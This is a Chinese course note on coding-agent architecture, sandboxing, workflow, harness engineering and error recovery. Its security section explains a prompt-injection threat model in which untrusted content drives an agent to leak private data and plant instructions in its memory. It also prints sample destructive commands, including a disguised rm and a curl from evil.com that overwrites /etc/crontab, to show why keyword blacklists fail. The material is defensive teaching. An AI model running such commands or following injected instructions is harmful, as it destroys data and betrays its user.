Day 11:Coding Agent 基础架构 + 安全 + 工作流程 + Harness 工程 + 故障恢复

目标

弄懂三件事:为什么"Coding Agent + 文件系统"是通用 Agent 的核心架构Coding Agent 的安全防线怎么从威胁模型到信任边界层层构建、以及为什么 Agent 的可靠性不取决于"犯不犯错"而取决于"每类错误是否都有对应的检测、恢复与终止路径"


核心知识点

一、为什么代码是 Agent 的"元能力"

Day 1-4 你学了 Agent = LLM + 上下文 + 工具。但 Ch5 提出一个更深层的观点:代码不只是工具箱里的一个工具,而是一种"能创造新工具的工具"——元能力(meta-capability)。

普通能力是 Agent 能做某件具体的事(回答问题、调 API)。元能力是 Agent 能在运行时当场创造出新的能力:缺工具就写一个,缺规则就编码一条,缺界面就生成一个 HTML。

代码对 Agent 的价值在两个层面:

层面 价值 例子
思考 形式化代码让思考高度严谨 “年龄大于18且已实名认证” → age > 18 and is_verified,毫无歧义
表达 能跑通的代码本身就是逻辑自洽的证明 执行结果提供客观的对错标准,自然语言做不到

二、Coding Agent 的七个核心工具

一个基础 Coding Agent 只需要七个工具

# 工具 对应操作 类型
1 Code Interpreter 执行 Python 代码 执行(沙盒内)
2 Bash Shell 运行命令行命令 执行
3 读文件 读取代码/配置/文档 感知
4 写文件 创建新文件或完全重写 执行
5 编辑文件 对现有文件局部修改 执行
6 Glob(搜索文件名) 按模式匹配定位文件 感知
7 Grep(搜索文件内容) 在文件内容中搜索文本模式 感知

这七个工具主要覆盖 Ch4 的感知和执行两类。协作、事件触发、用户沟通这三类需求由 Agent 框架(编排逻辑)而非工具层处理。

一个简单任务的执行流:用户说"帮我把项目里所有 TODO 注释整理成清单" →

Agent → Grep("TODO", glob="**/*.py")     # 搜索文件内容
工具返回 3 个匹配
Agent → Write("TODO_LIST.md", content=...)  # 写文件
完成

只用了 Grep + Write 两个工具。如果任务更复杂(统计每个模块的 TODO 数量并画柱状图),Agent 会加 Code Interpreter 执行 Python 做统计和绘图。


三、从 Manus 到 OpenClaw:通用 Agent 的 Coding 内核

工业界实践验证了一个洞察:Coding Agent + 文件系统 = 开放任务型通用 Agent 最核心的技术基础。

为什么是 Coding Agent 而非其他能力?因为几乎所有高效的内容生成最终都要落到代码上

能力 为什么是代码
PPT 本质是 OOXML 格式的代码
Word/PDF 可通过代码生成
数据分析可视化 Python 脚本完成
浏览器操作 成功序列可固化为 RPA 代码
深度调研 代码驱动的 Web 请求和解析

文件系统作为 Agent 的中枢:OpenClaw 的设计中,文件系统不只是数据存储——它是 Agent 记忆、知识和能力的中枢:

  • 长期记忆存在 MEMORY.md(高层级事实和用户偏好)+ 按日期归档的 Markdown 日志
  • 选择 Markdown 而非向量数据库——用户可直接打开文件阅读和修改 Agent 的记忆(记错了删一行即可),Markdown 天然保留时间顺序,可通过 Git 版本控制
  • Agent 有写文件能力 → 具备了修改自身外部产物的技术条件

适用边界

  • 以 Coding 为核心架构:开放任务型通用 Agent(深度调研、内容生成、数据处理)——任务边界不确定、产物形态多样
  • 不以 Coding 为核心但仍需 coding 能力:垂直领域客服 Agent——核心围绕固定业务流程,但精确计算、数据处理、规则校验仍离不开代码

四、Sessionless 设计

OpenClaw 采用 Sessionless(无会话)设计:没有安装、登录、"打开 App"步骤,Agent 常驻在线,用户通过消息平台随时发一条消息就能得到响应。

工程难点:代码执行环境和文件系统状态如何跨消息存活?用户的两条消息可能间隔几天,Agent 的工作依赖大量隐式状态(沙盒里安装的包、终端工作目录、环境变量、后台服务、写到一半的文件)。

两层状态管理

状态类型 持久化方式 原因
文件系统状态 天然持久——工作区挂载在沙盒之外的持久存储 代码、数据、中间产物跨消息不丢失
进程状态 按需保活或重建 活跃时保持运行;闲置超时后销毁,销毁前把可序列化状态记录到文件,下次按记录重建

关键洞察:持久化的是"可审计的状态描述"(文件、脚本、清单),而不是不透明的运行中进程。


五、Coding Agent 的安全(本章重点)

这是今天技术密度最高的部分。安全防护不是单一防线,而是从威胁模型到信任边界的纵深防御

1. 威胁模型:致命三要素 + 第四维度

Simon Willison 的"致命三要素"——三个要素齐备就构成完整攻击闭环:

  1. 访问私有数据 — Agent 能读取用户文件和密码
  2. 暴露于不受信任内容 — 处理的邮件和网页可能含恶意载荷
  3. 具备外部通信能力 — 能发邮件和执行命令

攻击路径闭合:恶意指令藏在不可信内容中 → 驱使 Agent 读取私有数据 → 经对外通道传出。

作者补充第四维度——持久记忆:不是并列必要条件,而是攻击放大器。攻击者可把恶意指令写入 Agent 长期记忆,跨会话潜伏,在合适时机触发。

四类边界 对应要素
数据边界 访问私有数据
输入信任边界 暴露于不受信任内容
输出影响边界 具备外部通信能力
跨会话边界 持久记忆
2. 隔离兜底:沙盒工程选型

Ch4 讲了沙盒隔离的分级原理,这里补充 Coding Agent 落地时的四项增量:

增量 要点 对应致命三要素
网络出口控制 默认断网,按需白名单代理放行 第3条"外部通信能力"的执行面防御
文件系统隔离 源码只读挂载;凭证文件根本不挂载 第1条"访问私有数据"
资源限额 CPU/内存/磁盘配额 + 墙钟超时 防 fork 炸弹和死循环
持久会话与隔离调和 会话保活在沙盒内,状态不逃逸到宿主机

核心原则:超时和超限应返回结构化错误(“执行超过 120 秒被终止,最后输出如下…”)而非静默杀死进程,让 Agent 有机会在下一轮修正策略。

3. 安全:语义解析而非关键字黑名单

Shell 命令的组合爆炸使关键字黑名单形同虚设:rm 被禁了,攻击者可以用 $(echo rm) -rf / 绕过。

生产级 Harness 采用语义解析:理解每个命令的参数类型和消费规则,识别嵌套的危险操作:

攻击模式 表面无害 实际危险
find / -name '*.log' -exec rm {} \; 合法的 find 命令 通过 -exec 嵌入 rm 删除操作
curl -o /etc/crontab http://evil.com/payload 看似下载文件 覆盖系统定时任务

这是 Ch1 "基于理解而非匹配"的安全机制的最具挑战性的应用场景

4. 推测性执行:让安全检查"隐形"

把"展示"和"放行"拆开并行:界面上一边先行显示进度提示(“正在读取文件 src/main.py…”),后台一边同时跑安全检查。

重要澄清:不同于 CPU 的推测执行——CPU 猜错了要回滚状态,这里先行的只是无副作用的 UI 提示,检查未通过只需把提示替换为"等待确认",无需回滚。

Harness 设计的最高境界:安全性不以牺牲用户体验为代价。

5. Agent 为谁效忠:委托方忠诚

问题:Agent 到底站在谁那一边?模型默认"谁说话帮谁",但真实 Agent 常处在多方委托的处境——替你砍价的 Agent,对面坐着的是交涉对手

忠诚度光谱:两端都会翻车——

一端 另一端
太老实:把主人底价直接抖给对手 太多疑:连主人正当请求也拒绝

提示注入本质上就是一次策反——仓库里的不可信内容、工具返回的输出、第三方 MCP 指令,都是试图让 Agent 倒戈的"对手"。

忠诚度守则

  • 保护主人的私密信息乃至它的"存在性"
  • 拒绝时不逐条念出拒绝清单(那本身在泄露)
  • 私下的底线 ≠ 对外的立场
  • 只执行主人明确、具体的指令
  • 顶住重复施压
6. 当 AI 写的代码不可信:信任边界下移

更彻底的立场:把应用层当作不可信的,把数据不变量的强制执行下沉到它下面。

过去三十年软件的完整性边界在应用层(handler 代码决定谁能操作、什么值合法,数据库无条件信任代码)。但 LLM 生成的 handler 经常漏掉权限与完整性检查,这个前提被打破。

新方案(权限内嵌的数据对象):每个数据实体在人类审查过的 schema 里自带声明式权限规则、校验器和后果声明,运行时流水线在每一次写入时强制执行。

实验结果:没有任何一次写入违反声明的不变量;而裸 SQL、LLM 自己写的检查都会漏过数次到数十次违规。代价只是每次写入多花约 2 毫秒。

架构原则:当写代码的和跑代码的都可能不可信时,真正可靠的约束不能待在被生成的代码里,而要待在它下面那层人类审查过的地基里。


六、Coding Agent 的整体工作流程

这是一套推荐的工程化流程,把软件工程最佳实践投射到 Agent 身上。现实中的 Agent 会按需裁剪——简单任务跳过设计文档,只有复杂任务才完整走完各阶段。

项目文档化 → 任务理解与需求澄清 → 编写设计文档 → 代码实现与测试 → 文档同步与交付

1. 项目文档化

Agent 首次接触代码仓库时,首要任务不是马上改代码,而是先建立对整个项目的认知框架——就像新入职工程师第一天先熟悉项目结构。

项目指令文件(CLAUDE.md、AGENTS.md、.cursorrules)已成为业界标准——每次会话开始时自动注入上下文,相当于项目级系统提示词。与 README 不同,指令文件承载的是面向 Agent 的行为约定:构建命令、代码风格、明确禁区。

有趣的推论:对远程工作友好的团队往往也对 AI Agent 友好。 评估团队"AI-ready"程度的简单代理指标:一个远程新人只靠代码仓库和文档能不能独立开展工作。

2. 任务理解与需求澄清

简单需求直接实现;复杂需求通过探索性调研澄清边界,必要时主动与用户对话。

3. 编写设计文档

回答核心问题:修改哪些模块、采用什么方案、需引入哪些新依赖、预期对系统的影响。设计文档为人类提供高效介入点——审查简洁的设计文档比审查数百行代码容易得多。

4. 代码实现与测试

实现后立即进入测试驱动质量保障——编写测试用例 → 执行 → 失败则分析原因、定位问题、修改代码直到测试通过。这个"测试-修复"循环可能多次迭代。

Coding Agent 最常见的偷懒方式:写完代码不跑测试就报告"任务完成"。把"测试通过"而非"代码写完"定义为完成标准。

5. 文档同步与交付

代码修改涉及架构变化时,相应更新架构文档。过时的文档比没有文档更糟糕。


七、Harness 工程在 Coding Agent 中的实践
为什么 Coding Agent 特别适合 Harness 工程

两个维度将任务分成四象限:

结果可自动验证 结果需人工验证
目标明确 最佳区域:修复有测试用例的 bug 吞吐量受限:代码重构需人工审查
目标模糊 高效地跑偏:用 linter 优化"代码质量" 难以启动:“让 UI 更好看”

Coding Agent 天然处于"目标明确 + 结果可自动验证"象限——测试套件提供验收标准,Linter/类型检查器提供即时验证,Git 提供回退能力。这就是为什么 Coding Agent 是当前所有 Agent 类型中成熟度最高的:不是因为模型特别强,而是因为软件工程几十年积累的基础设施天然构成了一套强大的 Harness。

四条可迁移的设计原则
原则 一句话 例子
约束优先于指导 能用代码强制的规则就不要用文档建议 Linter 规则 > 系统提示词里"请遵循…"
验证要自动化 人工审查是不可扩展的瓶颈 测试套件、代码质量检查、行为监控
反馈越快越好,越结构化越好 错误信息越详细、越接近错误发生时刻,纠正效率越高 Ch2 的 Agent 状态栏技术
回退要可靠 Agent 在安全网内操作才能大胆试错 Git 分支、沙盒环境、快照机制
约束的另一层目的:防止过程性错误

验收基线管的是结果对不对;执行边界管的是过程——即使结果正确,用错误的方法达成也不行。

破坏性捷径 表面"修复"了 实际后果
修复数据库故障时删库重建 故障消失 数据没了
修复编译错误时全删重写 编译通过 实现没了

约束的是动作而非仅仅是结果。 这和 Ch7 将讨论的 reward hacking(奖励结果、惩罚路径)从训练侧回答同一个问题。

工具编排:故障边界控制

并行工具调用时,一个工具失败怎么办?

原则:故障只在同一批并行调用内传播,不上升到父级操作。 同时读三个文件,一个找不到只报告那一个失败,不取消另外两个,更不让整个任务中止。

业界实践
案例 关键做对了什么
大规模代码迁移 知识存在于代码库本身 + 约束编码进 Linter/CI + 验证纠正全链路自动化
LangChain 优化 Harness 提升基准任务表现;用 Agent 分析失败轨迹来改进 Harness(数据驱动)
Anthropic 长任务拆为两个角色:初始化 Agent 分解任务清单 + 执行 Agent 逐步推进

八、故障与错误恢复(本章工程差距最大的部分)
四层故障分类
层级 故障类型 特点
API 层 限流(429)、过载、超时、连接中断、输出触顶截断 基础设施噪声,与任务内容无关
工具层 幻觉调用、参数畸形、执行异常、反复返回同一错误 最危险:模型不加改变地反复重试
上下文层 窗口溢出、压缩失败、轨迹结构损坏(工具调用缺配对结果)
控制流层 死循环、死亡螺旋(恢复逻辑自身又调用 LLM 出错连锁) 最隐蔽
检测:先分类,再计数

第一个判断不是"要不要重试",而是"值不值得重试"。

  • 可重试错误(限流、过载、网络抖动)→ 重试有意义
  • 不可重试错误(参数不合法、权限不足、工具不存在)→ 原样重试多少次都一样,必须改变输入或策略

两种模式检测

  1. 重复调用指纹:对"工具名 + 参数"算指纹,相同指纹反复出现 = 无进展循环
  2. 连续失败计数:每条恢复路径维护独立计数器

活性与完整性监控

  • 流式连接最危险的失败不是断开(会立即报错),而是静默卡死——连接通着但数据流停止,需要独立的空闲看门狗
  • 轨迹结构损坏(工具调用缺配对结果)时,系统在注入上下文前自动修复配对

每个长连接都需要活性信号,而非仅依赖连接超时。

产品模式 vs 训练模式的微妙区别:产品模式可以用占位符修补缺失消息;训练模式拒绝修复,因为合成占位符会污染训练数据。“产品模式宽容、训练模式严格”。

恢复:分级升级,逐级透明

按对用户透明的程度分级,能用低级别解决就不升级:

级别 做法 细节
1. 静默重试 可重试错误的默认动作 指数退避 + 随机抖动;区分前后台调用(后台失败直接放弃,不挤占主链路配额)
2. 降级与接续 改变请求本身再试 输出触顶→提升上限重发→末尾追加元指令接续生成;主模型过载→降级备用模型(需剥离旧模型私有格式块)
3. 暴露给用户 所有自动手段用尽后才呈现 附上已尝试过的恢复动作

工具层错误走另一条路:不终止会话,把错误变成模型的输入——幻觉调用收到"工具不存在",参数校验失败收到附带约束提示的错误。喂回的错误越具体,模型自我纠正成功率越高。

核心原则:错误处理的边界不是单次请求,而是整个恢复循环。 恢复期间扣留错误消息,恢复成功消费者毫无感知,全部失败才一并释放。

终止:每条恢复路径都要有上限

熔断器:每条恢复路径必须有明确上限。Claude Code 的压缩熔断"连续 3 次"阈值来自真实会话统计——曾有一个会话在这条路径上连续失败 3000+ 次,每天全球浪费约 25 万次 API 调用。

死亡螺旋防护:错误路径上触发的逻辑自身又调用 LLM,再次出错,连锁触发。

防护 做法
禁用副作用逻辑 错误路径上禁用一切会再次调用模型的逻辑(宁可丢掉自动记忆提取)
递归深度计数器 检测并打断残余连锁

Agent 的可靠性不取决于它犯不犯错,而取决于每类错误是否都有对应的检测、恢复与终止路径。

自测题

  1. Coding Agent 的七个核心工具分别是什么?它们主要覆盖了 Ch4 五类工具中的哪两类?
  2. 为什么"Coding Agent + 文件系统"是通用 Agent 的核心架构?为什么选择 Markdown 而非向量数据库存长期记忆?
  3. Sessionless 设计的工程难点是什么?两层状态管理分别怎么处理?
  4. 致命三要素是什么?作者补充的第四维度是什么?为什么第四维度是"放大器"而非并列必要条件?
  5. 为什么关键字黑名单无法防护 Shell 命令?语义解析能识别哪些黑名单无法捕获的攻击?
  6. 推测性执行和 CPU 的推测执行有什么区别?为什么说它是"Harness 设计的最高境界"?
  7. 委托方忠诚的"忠诚度光谱"两端分别是什么?提示注入和"策反"是什么关系?
  8. "信任边界下移"的核心思想是什么?权限内嵌的数据对象做到了什么(“不可能错”)?代价是什么?
  9. Coding Agent 整体工作流程的五个阶段分别是什么?最常见的偷懒方式是什么?
  10. Harness 四象限中,Coding Agent 天然处于哪个象限?为什么?四条可迁移的设计原则分别是什么?
  11. "约束优先于指导"是什么意思?"防止过程性错误"为什么重要?举一个破坏性捷径的例子。
  12. 故障四层分类分别是什么?检测的第一步判断是什么(不是"要不要重试"而是什么)?
  13. 恢复的三级升级分别是什么?工具层错误走哪条不同的路?
  14. 什么是死亡螺旋?怎么防护?熔断器的阈值从哪来?
  15. (最重要) "Agent 的可靠性不取决于它犯不犯错,而取决于什么?"用一句话完整回答。
Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐